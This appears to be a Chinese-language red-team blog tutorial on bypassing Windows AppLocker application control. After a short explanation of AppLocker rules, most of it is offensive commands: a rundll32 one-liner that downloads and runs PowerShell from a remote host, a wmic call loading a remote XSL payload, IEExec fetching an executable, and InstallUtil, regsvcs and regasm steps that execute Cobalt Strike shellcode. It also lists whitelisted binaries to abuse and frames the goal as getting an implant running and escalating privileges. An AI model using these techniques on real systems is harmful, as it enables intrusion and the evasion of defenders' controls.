前言
AppLocker即“应用程序控制策略”,是Windows 7系统中新增加的一项安全功能。在win7以上的系统中默认都集成了该功能。AppLocker这个组策略可以拦截命令执行的限制,一般我们都会使用默认模板。
1、开启AppLocker
gpedit.msc
服务设置里打开自启动Application Identity
需要配置成强制规则
这里我为了方便,将管理员(把它当做普通用户)禁用,效果如下,接下来的绕过将基于这种情况进行测试
PS:如果想要修改关闭目前正在作用的策略并使其生效的话,需要重启计算机,否则阻止的策略会一直生效
AppLocker默认的模板支持对以下后缀的程序运行拦截。
1、可执行程序
2、安装程序
3、脚本
可执行文件 | .exe、.com |
---|---|
脚本 | .ps1、.bat、.cmd、.vbs、.js |
Windows Installer 文件 | .msi、.msp、.mst |
封装应用和封装应用安装程序 | .appx |
DLL 文件 | .dll、.ocx |
基于三种拦截规则
1、基于路径(非白名单路径下的程序受AppLocker影响)
2、基于Hash(非指定程序(依靠hash判别)之外的其他程序受AppLocker影响)
3、基于数字签名(数字签名中包含创造该应用的发布者信息。可执行文件、DLL、Windows安装程序、封装的应用以及应用安装包同样包含扩展属性,可以从二进制资源区中获取这些属性,这种方式也是最难绕过的方式)
默认情况下:
1、任何用户均可以运行c:\windows*及C:\Program Files*(如果是64位系统,则包含C:\Program Files(86))下所有可执行文件及脚本;
2、提权后的管理员可以运行任何位置的程序。在此默认规则下,你在非c:\windows*及C:\Program Files*位置,双击任意程序,程序无法运行,只能右键以管理员身份运行。
3、AppLocker只对非管理员用户生效;
绕过
思路:
既然AppLocker是禁止我们运行某些程序,那么最好的方式就是我们上线一个CS或者MSF,利用本地提权漏洞提升到管理员权限,此时我们就可以任意执行命令了。
看了下文章,绕过的Applocker的方式比较多,因此我这里仅记录必要或有趣,且相对较简单的方法。
1、路径限制绕过
在AppLocker里,路径限制是最好绕过的方式之一,也是我们最爱用的方式之一,我们可以使用Powershell来发现白名单路径,当然如果有杀软禁用Powershell不大好办了。因为360会拦截大量的Powershell行为
使用脚本查看白名单路径
powershell -Exec bypass -file "c:\1\AppLockerBypassChecker-v1.ps1"
运行成功后,会返回白名单路径,这里我没有进行配置,寻找到白名单然后运行shellcode即可
2、Hash绕过和签名绕过
需要找到对于白名单hash里或者白名单签名文件,如果该文件存在DLL劫持漏洞,那么我们即可进行绕过,但是目前这种方法感觉还是太过麻烦,实战效果比较差。
劫持procEXP.exe的DLL
3、powershell
因为applocker可以执行Powershell脚本
powershell “whoami”
我们可以直接执行Powershell让其上线,或者反弹一个shel等
白加黑
白加黑是老生常谈的话题了,一直知道这个东西的存在,也在实战中利用过,基本发现windows白名单上线也能过Applocker(虽然是windows白名单,但是杀软基本都会杀),我们选几个进行测试。
Msbuild.exe
Installutil.exe
regasm.exe
regsvcs.exe
Mshta.exe
Compiler.exe
Csc.exe
Msiexec
Regsvr32
Wmic
RunDLL32.exe
Odbcconf
PsExec
Forfiles
Pcalua
Cmstp.exe
Ur1.DLL
zipfldr.DLL
msiexec
Ftp.exe
4、InstallUtil
该方式同样为为windows白名单利用程序
如果有Microsoft .NET Framework 4.0环境,可用来执行exe
不同电脑的具体路径不一样,默认路径为:C:\Windows\Microsoft.NET\Framework
命令:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U "shellcode.exe"
注意这里的shellcode.exe应该为c#使用csc.exe打包生成出来的文件。
csc.exe /out:shellcode.exe exeshell.cs
cobaltstrike支持导出c#语言的shellcode,我们利用该模板进行csc编译打包,并利用installUtil.exe执行即可
5、Rundll32.exe
64位 C:\Windows\System32\rundll32.exe
32位 C:\Windows\SysWOW64\rundll32.exe
可以执行vbs命令,来直接上线powershell CS
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"
也可以直接生成DLL,直接本地加载
rundll32.exe "C:\Windows\twain_64.dll",EntryPoin
cobalstrike
注意:所有rundll32 shell32.dll,Control_RunDLL的命令均可用control替代,control.exe实质调用了rundll32.exe。打开后找不到control.exe进程,只能找到rundll32.exe。
6、regasm.exe、regsvcs.exe
这两也是windows白名单利用程序
主要用于用于注册.NET组件对象模型(COM)程序集。两者都是由Microsoft进行数字签名的。
1、利用模板,下载后使用cobaltstrike生成c#文件,填充如下方的shellcode内容即可
https://github.com/3gstudent/Bypass-McAfee-Application-Control--Code-Execution/blob/master/regsvcs.cs
2、然后再利用sn.exe生成一个key作为秘钥
sn.exe -k key.sn
3、生成dll文件
csc.exe /r:System.EnterpriseServices.dll /target:library /out:shell.dll /keyfile:key.snk regsvcs.cs
4、最后执行shellcode.dll即可
regasm.exe shellcode.dll
regsvcs.exe shellcode.dll
7、wmic
该方式同样为为windows白名单利用程序
wmic os get /FORMAT:"http://192.168.1.109/payload.xsl"
xsl 利用生成shellcode模板
https://github.com/Ridter/AMSI_bypass
8、cpl文件
9、ieexec.exe
同样是windows 白加黑里面的一种
https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&mid=2247486094&idx=1&sn=1b54d04bd74b77987260befb99646aa1
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\IEExec.exe http://x.x.x.x:8080/bypass.exe
参考文章:
https://www.anquanke.com/post/id/159892
https://lengjibo.github.io/appbypass/
https://3gstudent.github.io/Use-msxsl-to-bypass-AppLocker
https://wooyun.js.org/drops/Bypass%20Windows%20AppLocker.html